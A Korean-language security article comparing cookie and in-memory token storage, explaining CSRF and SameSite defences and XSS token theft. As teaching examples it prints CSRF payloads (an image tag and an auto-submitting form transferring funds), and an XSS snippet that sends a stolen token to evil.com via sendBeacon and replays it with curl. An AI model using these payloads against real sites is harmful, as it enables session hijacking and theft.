โ† ๋ชฉ๋ก์œผ๋กœ
Cookie Deep Dive

์ฟ ํ‚ค์™€ JavaScript ๋ฉ”๋ชจ๋ฆฌ๋Š” ํ† ํฐ ์ €์žฅ์†Œ๋กœ์„œ ๋ณด์•ˆ ํŠน์„ฑ์ด ๋‹ค๋ฆ…๋‹ˆ๋‹ค. ์ฟ ํ‚ค๋Š” ์ž๋™ ์ „์†ก๋˜์–ด CSRF์— ๋…ธ์ถœ๋˜๊ณ , ๋ฉ”๋ชจ๋ฆฌ๋Š” JavaScript๋กœ ์ ‘๊ทผ ๊ฐ€๋Šฅํ•ด XSS์— ๋…ธ์ถœ๋ฉ๋‹ˆ๋‹ค. ๊ฐ ์œ„ํ˜‘์˜ ๊ตฌ์กฐ์™€ ๋ฐฉ์–ด ์ˆ˜๋‹จ์„ ์ •๋ฆฌํ•ฉ๋‹ˆ๋‹ค.

์ฟ ํ‚ค์™€ ๋ฉ”๋ชจ๋ฆฌ, ๋ญ๊ฐ€ ๋‹ค๋ฅธ๊ฐ€

DevTools์—์„œ ๋ณด์ด๋ƒ ์•ˆ ๋ณด์ด๋ƒ๋Š” ๋ณด์•ˆ ๊ธฐ์ค€์ด ์•„๋‹™๋‹ˆ๋‹ค. DevTools๋ฅผ ์—ด๋ ค๋ฉด ์‚ฌ์šฉ์ž ๋ณธ์ธ์ด ์ž๊ธฐ ๋ธŒ๋ผ์šฐ์ €๋ฅผ ์กฐ์ž‘ํ•ด์•ผ ํ•˜๊ณ , ์ด๊ฑด ์œ„ํ˜‘ ๋ชจ๋ธ์—์„œ ๋ฌผ๋ฆฌ์  ์ ‘๊ทผ์— ํ•ด๋‹นํ•ฉ๋‹ˆ๋‹ค. ์ด ์ˆ˜์ค€์˜ ์ ‘๊ทผ์ด ๊ฐ€๋Šฅํ•˜๋ฉด ๋ฉ”๋ชจ๋ฆฌ ํ† ํฐ๋„ V8 ํž™ ํฌ๋ Œ์‹์œผ๋กœ ์ถ”์ถœํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์‹ค์ œ๋กœ ๋ณด์•ˆ์— ์˜ํ–ฅ์„ ์ฃผ๋Š” ์ฐจ์ด๋Š” ๋‘ ๊ฐ€์ง€๋ฟ์ž…๋‹ˆ๋‹ค.

๊ธฐ์ค€์ฟ ํ‚ค๋ฉ”๋ชจ๋ฆฌ (JS ๋ณ€์ˆ˜)
์š”์ฒญ์— ์ž๋™์œผ๋กœ ๋ถ™๋‚˜๋„๋ฉ”์ธ ์ผ์น˜ ์‹œ ์ž๋™ ์ „์†ก์ฝ”๋“œ๊ฐ€ ๋ช…์‹œ์ ์œผ๋กœ ํ—ค๋”์— ์ฒจ๋ถ€
JavaScript๋กœ ์ฝํžˆ๋‚˜HttpOnly๋ฉด ์ฝ๊ธฐ ๋ถˆ๊ฐ€๊ฐ™์€ ์‹คํ–‰ ์ปจํ…์ŠคํŠธ์—์„œ ์ฝ๊ธฐ ๊ฐ€๋Šฅ

์ž๋™ ์ „์†ก์€ CSRF ์ทจ์•ฝ์ ์„ ๋งŒ๋“ค๊ณ , JS ์ ‘๊ทผ ๊ฐ€๋Šฅ์€ XSS ํ† ํฐ ํƒˆ์ทจ๋ฅผ ๋งŒ๋“ญ๋‹ˆ๋‹ค. ์ฟ ํ‚ค์™€ ๋ฉ”๋ชจ๋ฆฌ ์ค‘ ์–ด๋””๊ฐ€ ๋” ์•ˆ์ „ํ•œ์ง€๋Š” ๊ฒฐ๊ตญ CSRF์™€ XSS ์ค‘ ์–ด๋А ์ชฝ์ด ๋” ์œ„ํ—˜ํ•œ์ง€์— ๋‹ฌ๋ ค ์žˆ์Šต๋‹ˆ๋‹ค. ๊ฐ๊ฐ์„ ์‚ดํŽด๋ด…๋‹ˆ๋‹ค.

์ž๋™ ์ „์†ก์ด ๋งŒ๋“œ๋Š” ์ทจ์•ฝ์ : CSRF

์ฟ ํ‚ค๋Š” ๋ธŒ๋ผ์šฐ์ €๊ฐ€ ์•Œ์•„์„œ ์š”์ฒญ์— ๋ถ™์ž…๋‹ˆ๋‹ค. CSRF(Cross-Site Request Forgery)๋Š” ์ด ๋™์ž‘์„ ์•…์šฉํ•ฉ๋‹ˆ๋‹ค.

1. ์‚ฌ์šฉ์ž๊ฐ€ bank.com์— ๋กœ๊ทธ์ธ โ†’ ์„ธ์…˜ ์ฟ ํ‚ค ๋ฐœ๊ธ‰
2. ์‚ฌ์šฉ์ž๊ฐ€ evil.com ๋ฐฉ๋ฌธ
3. evil.com์ด bank.com์œผ๋กœ ์š”์ฒญ ์ „์†ก
4. ๋ธŒ๋ผ์šฐ์ €๊ฐ€ bank.com ์ฟ ํ‚ค๋ฅผ ์ž๋™ ์ฒจ๋ถ€
5. bank.com์€ ์ •์ƒ ์š”์ฒญ๊ณผ ๊ตฌ๋ถ„ ๋ถˆ๊ฐ€ โ†’ ์‹คํ–‰

์„ฑ๋ฆฝ ์กฐ๊ฑด์€ ์„ธ ๊ฐ€์ง€์ž…๋‹ˆ๋‹ค. ์„œ๋ฒ„์— ์ƒํƒœ๋ฅผ ๋ณ€๊ฒฝํ•˜๋Š” action์ด ์žˆ๊ณ , ์ฟ ํ‚ค ๊ธฐ๋ฐ˜ ์„ธ์…˜์œผ๋กœ ์ธ์ฆํ•˜๊ณ , ์š”์ฒญ์— ์˜ˆ์ธก ๋ถˆ๊ฐ€๋Šฅํ•œ ํŒŒ๋ผ๋ฏธํ„ฐ๊ฐ€ ์—†์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. CSRF๋Š” blind attack์ด๋ผ ๊ณต๊ฒฉ์ž๋Š” ์š”์ฒญ๋งŒ ๋ณด๋‚ผ ์ˆ˜ ์žˆ๊ณ  ์‘๋‹ต์€ ์ฝ์ง€ ๋ชปํ•ฉ๋‹ˆ๋‹ค.

GET ๊ธฐ๋ฐ˜ โ€” ์ด๋ฏธ์ง€ ํƒœ๊ทธ ํ•˜๋‚˜๋กœ ์ถฉ๋ถ„ํ•ฉ๋‹ˆ๋‹ค.

<img src="https://bank.com/transfer?to=attacker&amount=10000" />

POST ๊ธฐ๋ฐ˜ โ€” ์ˆจ๊ฒจ์ง„ ํผ์ด ์ž๋™ ์ œ์ถœ๋ฉ๋‹ˆ๋‹ค.

<form id="csrf-form" action="https://bank.com/transfer" method="POST">
  <input type="hidden" name="to" value="attacker" />
  <input type="hidden" name="amount" value="10000" />
</form>
<script>document.getElementById('csrf-form').submit();</script>

CWE Top 25 2025์—์„œ CSRF(CWE-352)๋Š” 3์œ„์ž…๋‹ˆ๋‹ค. SameSite=Lax๊ฐ€ ๊ธฐ๋ณธ๊ฐ’์ด ๋œ ์‹œ๋Œ€์— ์ˆœ์œ„๊ฐ€ ์˜คํžˆ๋ ค ์˜ค๋ฅด๋Š” ์ด์œ ๋Š”, CSRF๊ฐ€ ๋‹ค๋ฅธ ์ทจ์•ฝ์ ๊ณผ ์ฒด์ธ์œผ๋กœ ์—ฎ์ด๋ฉด์„œ ๊ณต๊ฒฉ ์ˆ˜๋‹จ์œผ๋กœ์„œ์˜ ๊ฐ€์น˜๊ฐ€ ๋†’์•„์กŒ๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค.

CSRF ๋ฐฉ์–ด: SameSite

์ฟ ํ‚ค์˜ ์ž๋™ ์ „์†ก์„ ์ œ์–ดํ•˜๋Š” ์†์„ฑ์ž…๋‹ˆ๋‹ค.

์†์„ฑcross-site POSTcross-site GET(top-level)iframe/fetch/XHR
None์ „์†ก์ „์†ก์ „์†ก
Lax์ฐจ๋‹จ์ „์†ก์ฐจ๋‹จ
Strict์ฐจ๋‹จ์ฐจ๋‹จ์ฐจ๋‹จ

Chrome 80(2020๋…„ 2์›”)๋ถ€ํ„ฐ SameSite ๋ฏธ์ง€์ • ์‹œ Lax๊ฐ€ ๊ธฐ๋ณธ๊ฐ’์ž…๋‹ˆ๋‹ค. Lax๋งŒ์œผ๋กœ POST, iframe, fetch/XHR ๊ธฐ๋ฐ˜ CSRF๊ฐ€ ์ „๋ถ€ ์ฐจ๋‹จ๋ฉ๋‹ˆ๋‹ค.

ํ•˜์ง€๋งŒ ๊ตฌ๋ฉ์ด ์žˆ์Šต๋‹ˆ๋‹ค.

Lax+POST 2๋ถ„ ์œˆ๋„์šฐ. SameSite๋ฅผ ๋ช…์‹œํ•˜์ง€ ์•Š์•„ ์•”๋ฌต์  Lax๊ฐ€ ์ ์šฉ๋œ ์ฟ ํ‚ค๋Š”, ์„ค์ • ํ›„ 2๋ถ„๊ฐ„ cross-site top-level POST์—๋„ ์ „์†ก๋ฉ๋‹ˆ๋‹ค. ๋ช…์‹œ์ ์œผ๋กœ SameSite=Lax๋ฅผ ์„ค์ •ํ•˜๋ฉด ์ด ์œˆ๋„์šฐ๊ฐ€ ์—†์Šต๋‹ˆ๋‹ค.

GET ์ƒํƒœ ๋ณ€๊ฒฝ. Lax๋Š” top-level GET navigation์— ์ฟ ํ‚ค๋ฅผ ๋ณด๋ƒ…๋‹ˆ๋‹ค. GET /delete-account?confirm=true ๊ฐ™์€ endpoint๊ฐ€ ์žˆ์œผ๋ฉด Lax๋กœ๋„ ๋ชป ๋ง‰์Šต๋‹ˆ๋‹ค.

์„œ๋ธŒ๋„๋ฉ”์ธ. SameSite๋Š” eTLD+1๋กœ Same-Site๋ฅผ ํŒ๋‹จํ•ฉ๋‹ˆ๋‹ค. evil.example.com๊ณผ bank.example.com์€ Same-Site์ž…๋‹ˆ๋‹ค. ์„œ๋ธŒ๋„๋ฉ”์ธ ํ•˜๋‚˜๊ฐ€ ๋šซ๋ฆฌ๋ฉด SameSite๋Š” ๋ฌด๋ ฅํ•ฉ๋‹ˆ๋‹ค.

Strict๋ฅผ ์•ˆ ์“ฐ๋Š” ์ด์œ . Strict๋Š” ๋ณด์•ˆ์ด ๊ฐ€์žฅ ๊ฐ•ํ•˜์ง€๋งŒ UX๋ฅผ ๋ง๊ฐ€๋œจ๋ฆฝ๋‹ˆ๋‹ค. ์ด๋ฉ”์ผ ๋งํฌ๋ฅผ ํด๋ฆญํ•ด๋„ ๋กœ๊ทธ์ธ์ด ํ’€๋ฆฌ๊ณ , ๊ฒ€์ƒ‰ ์—”์ง„์—์„œ ๋“ค์–ด์™€๋„ ๋งˆ์ฐฌ๊ฐ€์ง€์ž…๋‹ˆ๋‹ค. ์‹ค๋ฌด์—์„œ๋Š” ์ด์ค‘ ์ฟ ํ‚ค ํŒจํ„ด์„ ์”๋‹ˆ๋‹ค.

session_read: SameSite=Lax   โ†’ ์ฝ๊ธฐ/ํ‘œ์‹œ์šฉ (์™ธ๋ถ€ ์œ ์ž… ์‹œ ๋กœ๊ทธ์ธ ์œ ์ง€)
session:      SameSite=Strict โ†’ ๋ฏผ๊ฐํ•œ ์“ฐ๊ธฐ ์ž‘์—…์šฉ (CSRF ์™„์ „ ์ฐจ๋‹จ)

CSRF ๋ฐฉ์–ด: ํ† ํฐ๊ณผ ํ—ค๋”

SameSite๋งŒ์œผ๋กœ๋Š” ์„œ๋ธŒ๋„๋ฉ”์ธ ๊ณต๊ฒฉ, GET ์ƒํƒœ ๋ณ€๊ฒฝ ๊ฐ™์€ ๊ตฌ๋ฉ์ด ๋‚จ์Šต๋‹ˆ๋‹ค. ์ถ”๊ฐ€ ๋ฐฉ์–ด์˜ ํ•ต์‹ฌ ์›๋ฆฌ๋Š” ํ•˜๋‚˜์ž…๋‹ˆ๋‹ค: ๊ณต๊ฒฉ์ž๊ฐ€ ์•Œ ์ˆ˜ ์—†๋Š” ๊ฐ’์„ ์š”์ฒญ์— ํฌํ•จ์‹œ์ผœ๋ผ.

CSRF๊ฐ€ ์„ฑ๋ฆฝํ•˜๋Š” ์ด์œ ๋ฅผ ๋‹ค์‹œ ๋ด…๋‹ˆ๋‹ค. ๊ณต๊ฒฉ์ž๋Š” ์‚ฌ์šฉ์ž์˜ ๋ธŒ๋ผ์šฐ์ €๋ฅผ ์ด์šฉํ•ด ์š”์ฒญ์„ ๋ณด๋‚ด์ง€๋งŒ, Same-Origin Policy ๋•Œ๋ฌธ์— ๋Œ€์ƒ ์‚ฌ์ดํŠธ์˜ ํŽ˜์ด์ง€ ๋‚ด์šฉ์€ ์ฝ์ง€ ๋ชปํ•ฉ๋‹ˆ๋‹ค. ์ด ์ œ์•ฝ์„ ์—ญ์œผ๋กœ ์ด์šฉํ•ฉ๋‹ˆ๋‹ค โ€” ์„œ๋ฒ„๊ฐ€ ํŽ˜์ด์ง€์— ๋น„๋ฐ€ ๊ฐ’์„ ์‹ฌ์–ด๋‘๊ณ  ์š”์ฒญ ์‹œ ํ•จ๊ป˜ ๋ณด๋‚ด๊ฒŒ ํ•˜๋ฉด, ํŽ˜์ด์ง€๋ฅผ ์ฝ์„ ์ˆ˜ ์—†๋Š” ๊ณต๊ฒฉ์ž๋Š” ๊ทธ ๊ฐ’์„ ์•Œ ์ˆ˜ ์—†์œผ๋ฏ€๋กœ ์š”์ฒญ์„ ์œ„์กฐํ•  ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค.

Synchronizer Token Pattern โ€” OWASP๊ฐ€ ๊ฐ€์žฅ ๋จผ์ € ๊ถŒ์žฅํ•˜๋Š” ๋ฐฉ์‹์ž…๋‹ˆ๋‹ค.

1. ์‚ฌ์šฉ์ž ๋กœ๊ทธ์ธ โ†’ ์„œ๋ฒ„๊ฐ€ ์„ธ์…˜์— ๋ฌถ์ธ ๋žœ๋ค ํ† ํฐ(128๋น„ํŠธ ์ด์ƒ) ์ƒ์„ฑ
2. ์„œ๋ฒ„๊ฐ€ HTML ํผ์— hidden field๋กœ ํ† ํฐ ์‚ฝ์ž…
   <input type="hidden" name="_csrf" value="a1b2c3..." />
3. ์‚ฌ์šฉ์ž๊ฐ€ ํผ ์ œ์ถœ โ†’ ํ† ํฐ์ด ํ•จ๊ป˜ ์ „์†ก
4. ์„œ๋ฒ„๊ฐ€ ์„ธ์…˜์˜ ํ† ํฐ vs ์š”์ฒญ์˜ ํ† ํฐ ๋Œ€์กฐ โ†’ ๋ถˆ์ผ์น˜ ์‹œ ๊ฑฐ๋ถ€

๊ณต๊ฒฉ์ž๊ฐ€ evil.com์—์„œ bank.com/transfer ํผ์„ ์œ„์กฐํ•ด๋„, hidden field์— ๋“ค์–ด๊ฐˆ ํ† ํฐ ๊ฐ’์„ ์•Œ ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค. bank.com ํŽ˜์ด์ง€๋ฅผ ์ฝ์–ด์•ผ ํ† ํฐ์„ ์•Œ ์ˆ˜ ์žˆ๋Š”๋ฐ, Same-Origin Policy๊ฐ€ ์ด๋ฅผ ์ฐจ๋‹จํ•ฉ๋‹ˆ๋‹ค.

Double Submit Cookie โ€” ์„œ๋ฒ„์— ์„ธ์…˜ ์ƒํƒœ๋ฅผ ์ €์žฅํ•˜์ง€ ์•Š๋Š” stateless ํ™˜๊ฒฝ์„ ์œ„ํ•œ ๋Œ€์•ˆ์ž…๋‹ˆ๋‹ค.

1. ์„œ๋ฒ„๊ฐ€ ๋žœ๋ค ๊ฐ’์„ ์ฟ ํ‚ค์™€ ์‘๋‹ต ๋ณธ๋ฌธ ์–‘์ชฝ์— ์„ค์ •
2. ํด๋ผ์ด์–ธํŠธ๊ฐ€ ์š”์ฒญ ์‹œ ์ฟ ํ‚ค๋Š” ์ž๋™ ์ „์†ก + ๊ฐ™์€ ๊ฐ’์„ ํ—ค๋”/body์—๋„ ์ง์ ‘ ์ฒจ๋ถ€
3. ์„œ๋ฒ„๊ฐ€ ์ฟ ํ‚ค ๊ฐ’ vs ํ—ค๋”/body ๊ฐ’ ๋Œ€์กฐ โ†’ ๋ถˆ์ผ์น˜ ์‹œ ๊ฑฐ๋ถ€

๊ณต๊ฒฉ์ž๋Š” cross-site ์š”์ฒญ์œผ๋กœ ์ฟ ํ‚ค๋ฅผ ์ž๋™ ์ „์†ก์‹œํ‚ฌ ์ˆ˜ ์žˆ์ง€๋งŒ, ํ—ค๋”๋‚˜ body์— ๊ฐ™์€ ๊ฐ’์„ ๋„ฃ์œผ๋ ค๋ฉด ์ฟ ํ‚ค ๊ฐ’์„ ๋จผ์ € ์ฝ์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. HttpOnly ์ฟ ํ‚ค๋Š” JavaScript๋กœ ์ฝ์„ ์ˆ˜ ์—†๊ณ , cross-origin์—์„œ๋Š” Set-Cookie ์‘๋‹ต๋„ ๋ณผ ์ˆ˜ ์—†์œผ๋ฏ€๋กœ ๊ฐ’์„ ์•Œ ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค. HMAC ์„œ๋ช…์„ ์ถ”๊ฐ€ํ•˜๋ฉด ์„œ๋ธŒ๋„๋ฉ”์ธ์—์„œ ์ฟ ํ‚ค๋ฅผ ๋ฎ์–ด์“ฐ๋Š” Cookie Tossing ๊ณต๊ฒฉ๊นŒ์ง€ ์ฐจ๋‹จ๋ฉ๋‹ˆ๋‹ค โ€” ์„œ๋ฒ„์˜ ๋น„๋ฐ€ํ‚ค ์—†์ด๋Š” ์œ ํšจํ•œ ์„œ๋ช…์„ ๋งŒ๋“ค ์ˆ˜ ์—†๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค.

Custom Request Header โ€” ์ปค์Šคํ…€ ํ—ค๋” ์กด์žฌ ์—ฌ๋ถ€๋กœ ๊ฒ€์ฆํ•˜๋Š” ๋ฐฉ์‹์ž…๋‹ˆ๋‹ค.

// ํด๋ผ์ด์–ธํŠธ: ๋ชจ๋“  ์ƒํƒœ ๋ณ€๊ฒฝ ์š”์ฒญ์— ์ปค์Šคํ…€ ํ—ค๋” ์ถ”๊ฐ€
fetch('/api/transfer', {
  method: 'POST',
  headers: { 'X-Requested-With': 'XMLHttpRequest' },
  body: JSON.stringify({ to: 'recipient', amount: 1000 })
});
// ์„œ๋ฒ„: ์ด ํ—ค๋”๊ฐ€ ์—†์œผ๋ฉด ์š”์ฒญ ๊ฑฐ๋ถ€

cross-origin ์š”์ฒญ์— ์ปค์Šคํ…€ ํ—ค๋”๋ฅผ ๋ถ™์ด๋ฉด ๋ธŒ๋ผ์šฐ์ €๊ฐ€ ๋จผ์ € preflight(OPTIONS) ์š”์ฒญ์„ ๋ณด๋ƒ…๋‹ˆ๋‹ค. ์„œ๋ฒ„๊ฐ€ ํ•ด๋‹น origin์„ ํ—ˆ์šฉํ•˜์ง€ ์•Š์œผ๋ฉด preflight์—์„œ ์ฐจ๋‹จ๋˜์–ด ๋ณธ ์š”์ฒญ์ด ์ „์†ก๋˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. HTML ํผ ํƒœ๊ทธ๋กœ๋Š” ์ปค์Šคํ…€ ํ—ค๋”๋ฅผ ์„ค์ •ํ•  ์ˆ˜ ์—†์œผ๋ฏ€๋กœ ํผ ๊ธฐ๋ฐ˜ CSRF๋„ ์ฐจ๋‹จ๋ฉ๋‹ˆ๋‹ค.

์—ฌ๊ธฐ๊นŒ์ง€๊ฐ€ ์ฟ ํ‚ค์˜ ์ž๋™ ์ „์†ก์ด ๋งŒ๋“œ๋Š” ๋ฌธ์ œ(CSRF)์™€ ๊ทธ ๋ฐฉ์–ด์ž…๋‹ˆ๋‹ค. ์ฟ ํ‚ค๋ฅผ ์“ฐ๋”๋ผ๋„ SameSite=Lax + CSRF ํ† ํฐ์„ ์กฐํ•ฉํ•˜๋ฉด CSRF๋Š” ๋Œ€๋ถ€๋ถ„ ๋ง‰ํž™๋‹ˆ๋‹ค.

๊ทธ๋Ÿฐ๋ฐ ๋ฉ”๋ชจ๋ฆฌ ํ† ํฐ์€ CSRF์— ์™„์ „ํžˆ ๋ฉด์—ญ์ž…๋‹ˆ๋‹ค. Authorization ํ—ค๋”์— ์ฝ”๋“œ๊ฐ€ ์ง์ ‘ ์ฒจ๋ถ€ํ•˜๋‹ˆ๊นŒ cross-site์—์„œ ์œ„์กฐํ•  ๋ฐฉ๋ฒ•์ด ์—†์Šต๋‹ˆ๋‹ค. ์ด๊ฒƒ๋งŒ ๋ณด๋ฉด ๋ฉ”๋ชจ๋ฆฌ๊ฐ€ ๋” ๋‚˜์•„ ๋ณด์ž…๋‹ˆ๋‹ค.

์ด์ œ ๋‘ ๋ฒˆ์งธ ์ฐจ์ด, JS ์ ‘๊ทผ์„ฑ์ด ๋งŒ๋“œ๋Š” ๋ฌธ์ œ๋ฅผ ๋ด…๋‹ˆ๋‹ค.

JS ์ ‘๊ทผ์ด ๋งŒ๋“œ๋Š” ์ทจ์•ฝ์ : XSS ํ† ํฐ ํƒˆ์ทจ

๋ฉ”๋ชจ๋ฆฌ ํ† ํฐ์€ JavaScript ๋ณ€์ˆ˜์ž…๋‹ˆ๋‹ค. XSS(Cross-Site Scripting)๊ฐ€ ์‹คํ–‰๋˜๋ฉด ๊ฐ™์€ origin์—์„œ ๋Œ์•„๊ฐ€๋ฏ€๋กœ ์ด ๋ณ€์ˆ˜๋ฅผ ๊ทธ๋ƒฅ ์ฝ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋ฐ˜๋ฉด HttpOnly ์ฟ ํ‚ค๋Š” document.cookie๋กœ ์ ‘๊ทผ ์ž์ฒด๊ฐ€ ์•ˆ ๋ฉ๋‹ˆ๋‹ค.

MITRE/CISA ๊ธฐ์ค€ 2025๋…„ ๊ฐ€์žฅ ์œ„ํ—˜ํ•œ ์†Œํ”„ํŠธ์›จ์–ด ์•ฝ์ ์—์„œ XSS๊ฐ€ 1์œ„, CSRF๊ฐ€ 3์œ„์ž…๋‹ˆ๋‹ค. ๋‹จ์ˆœํ•œ ์ˆœ์œ„ ์ฐจ์ด๊ฐ€ ์•„๋‹ˆ๋ผ ํ•  ์ˆ˜ ์žˆ๋Š” ์ผ์˜ ๋ฒ”์œ„๊ฐ€ ๋‹ค๋ฆ…๋‹ˆ๋‹ค.

CSRF๋Š” blind attack์ž…๋‹ˆ๋‹ค. ์š”์ฒญ๋งŒ ๋ณด๋‚ผ ์ˆ˜ ์žˆ๊ณ  ์‘๋‹ต์€ ๋ชป ์ฝ์Šต๋‹ˆ๋‹ค.

XSS๋Š” master key์ž…๋‹ˆ๋‹ค. same-origin์—์„œ ์‹คํ–‰๋˜๋‹ˆ๊นŒ ํ† ํฐ ํƒˆ์ทจ, CSRF ๋ฐฉ์–ด ๋ฌด๋ ฅํ™”, key ์ž…๋ ฅ ๊ฐ€๋กœ์ฑ„๊ธฐ, phishing ํผ ์‚ฝ์ž…, ์ธ์ฆ๋œ API ๋ฌด์ œํ•œ ํ˜ธ์ถœ์ด ์ „๋ถ€ ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค. XSS๊ฐ€ ๋šซ๋ฆฌ๋ฉด CSRF ํ† ํฐ๋„ DOM์—์„œ ์ฝ์–ด๋ฒ„๋ฆฌ๋ฏ€๋กœ CSRF ๋ฐฉ์–ด ์ž์ฒด๊ฐ€ ๋ฌด์˜๋ฏธํ•ด์ง‘๋‹ˆ๋‹ค.

์—ฌ๊ธฐ์„œ ๋‹ต์ด ๊ธฐ์šธ๊ธฐ ์‹œ์ž‘ํ•ฉ๋‹ˆ๋‹ค. ์ฟ ํ‚ค์˜ ์•ฝ์ ์ธ CSRF๋Š” SameSite=Lax + CSRF ํ† ํฐ์œผ๋กœ ๋Œ€๋ถ€๋ถ„ ๋ง‰ํžˆ์ง€๋งŒ, ๋ฉ”๋ชจ๋ฆฌ์˜ ์•ฝ์ ์ธ XSS ํ† ํฐ ํƒˆ์ทจ๋Š” ๋ง‰์„ ์ˆ˜๋‹จ์ด ์—†์Šต๋‹ˆ๋‹ค. ๋ฉ”๋ชจ๋ฆฌ์— ์žˆ๋Š” ์ด์ƒ XSS๊ฐ€ ์ฝ๋Š” ๊ฑธ ๋ง‰์„ ๋ฐฉ๋ฒ•์ด ์—†์œผ๋‹ˆ๊นŒ์š”.

์ฟ ํ‚ค:   CSRF์— ์•ฝํ•˜์ง€๋งŒ ๋ฐฉ์–ด ๊ฐ€๋Šฅ, XSS ํ† ํฐ ํƒˆ์ทจ์— ๊ฐ•ํ•จ
๋ฉ”๋ชจ๋ฆฌ: CSRF์— ๋ฉด์—ญ, XSS ํ† ํฐ ํƒˆ์ทจ์— ๋ฌด๋ฐฉ๋น„

XSS๊ฐ€ ๋” ์œ„ํ—˜ํ•˜๊ณ , ์ฟ ํ‚ค์˜ ์•ฝ์ ์€ ๋ฐฉ์–ด๊ฐ€ ๋˜๊ณ , ๋ฉ”๋ชจ๋ฆฌ์˜ ์•ฝ์ ์€ ๋ฐฉ์–ด๊ฐ€ ์•ˆ ๋ฉ๋‹ˆ๋‹ค. HttpOnly ์ฟ ํ‚ค + CSRF ๋ฐฉ์–ด๊ฐ€ ๋ฉ”๋ชจ๋ฆฌ๋ณด๋‹ค ์•ˆ์ „ํ•ฉ๋‹ˆ๋‹ค.

XSS ๋ฐœ์ƒ ์‹œ ์ €์žฅ ๋ฐฉ์‹๋ณ„ ํ”ผํ•ด ๋ฒ”์œ„

"์–ด์ฐจํ”ผ XSS๊ฐ€ ๋šซ๋ฆฌ๋ฉด ๋‘˜ ๋‹ค ๋ ์•„๋‹Œ๊ฐ€?" โ€” ๋‘˜ ๋‹ค ํ”ผํ•ด๋ฅผ ์ž…๋Š” ๊ฑด ๋งž์ง€๋งŒ, ๊ณต๊ฒฉ์ž๊ฐ€ ํ™•๋ณดํ•˜๋Š” ๋Šฅ๋ ฅ์ด ๊ทผ๋ณธ์ ์œผ๋กœ ๋‹ค๋ฆ…๋‹ˆ๋‹ค. ์ฐจ์ด๋Š” ํ† ํฐ์„ ๊ณต๊ฒฉ์ž์˜ ํ™˜๊ฒฝ์œผ๋กœ ์œ ์ถœํ•  ์ˆ˜ ์žˆ๋А๋ƒ์—์„œ ๊ฐˆ๋ฆฝ๋‹ˆ๋‹ค.

HttpOnly ์ฟ ํ‚ค: ์„ธ์…˜ ๋ฐ”์šด๋“œ ํ”„๋ก์‹œ ๊ณต๊ฒฉ

// XSS ์ฝ”๋“œ๊ฐ€ ํ”ผํ•ด์ž์˜ ๋ธŒ๋ผ์šฐ์ € ์•ˆ์—์„œ API๋ฅผ ์ง์ ‘ ํ˜ธ์ถœ
fetch('/api/transfer', {
  method: 'POST',
  body: JSON.stringify({ to: 'attacker', amount: 10000 })
});
// ์ฟ ํ‚ค๊ฐ€ ์ž๋™์œผ๋กœ ๋ถ™์–ด ์š”์ฒญ์€ ์„ฑ๊ณตํ•˜์ง€๋งŒ, ํ† ํฐ ๊ฐ’ ์ž์ฒด๋Š” ์ ‘๊ทผ ๋ถˆ๊ฐ€

๊ณต๊ฒฉ์ž๋Š” ํ”ผํ•ด์ž์˜ ๋ธŒ๋ผ์šฐ์ €๋ฅผ ํ”„๋ก์‹œ๋กœ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค. XSS ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ์‹คํ–‰๋˜๋Š” ๋™์•ˆ์—๋งŒ, ํ•ด๋‹น ํƒญ ์•ˆ์—์„œ๋งŒ ๋™์ž‘ํ•ฉ๋‹ˆ๋‹ค.

  • ํ† ํฐ ๊ฐ’์„ ์™ธ๋ถ€๋กœ ์œ ์ถœํ•  ์ˆ˜ ์—†์Œ โ€” HttpOnly๊ฐ€ JavaScript ์ ‘๊ทผ์„ ์ฐจ๋‹จ
  • ํ”ผํ•ด์ž๊ฐ€ ํŽ˜์ด์ง€๋ฅผ ๋– ๋‚˜๋ฉด ๊ณต๊ฒฉ ์ข…๋ฃŒ
  • ์„œ๋ฒ„ ์ธก rate limiting, ์ด์ƒ ํƒ์ง€๊ฐ€ ์œ ํšจ (๋™์ผ IP/์„ธ์…˜)

๋ฉ”๋ชจ๋ฆฌ ํ† ํฐ: ํ† ํฐ ์œ ์ถœ ํ›„ ์˜คํ”„์‚ฌ์ดํŠธ ๊ณต๊ฒฉ

// XSS ์ฝ”๋“œ๊ฐ€ ๋ฉ”๋ชจ๋ฆฌ์—์„œ ํ† ํฐ์„ ์ฝ์–ด ์™ธ๋ถ€๋กœ ์ „์†ก
const token = window.__accessToken;
navigator.sendBeacon('https://evil.com/collect', token);
# ๊ณต๊ฒฉ์ž๊ฐ€ ์ž์‹ ์˜ ํ™˜๊ฒฝ์—์„œ ๋…๋ฆฝ์ ์œผ๋กœ API ํ˜ธ์ถœ
curl -H "Authorization: Bearer <ํƒˆ์ทจํ•œ ํ† ํฐ>" https://api.target.com/users
curl -H "Authorization: Bearer <ํƒˆ์ทจํ•œ ํ† ํฐ>" https://api.target.com/admin/settings

ํ† ํฐ์ด ์™ธ๋ถ€๋กœ ์œ ์ถœ๋˜๋ฉด ๊ณต๊ฒฉ์ž๋Š” ํ”ผํ•ด์ž์˜ ๋ธŒ๋ผ์šฐ์ €๊ฐ€ ํ•„์š” ์—†์–ด์ง‘๋‹ˆ๋‹ค.

  • ํ† ํฐ์„ ๊ณต๊ฒฉ์ž ์„œ๋ฒ„๋กœ ์ „์†ก โ†’ ํ”ผํ•ด์ž ํ™˜๊ฒฝ๊ณผ ๋…๋ฆฝ์ ์œผ๋กœ ์‚ฌ์šฉ
  • ํ”ผํ•ด์ž๊ฐ€ ๋ธŒ๋ผ์šฐ์ €๋ฅผ ๋‹ซ์•„๋„ ํ† ํฐ ๋งŒ๋ฃŒ ์‹œ๊นŒ์ง€ ๊ณต๊ฒฉ ์ง€์†
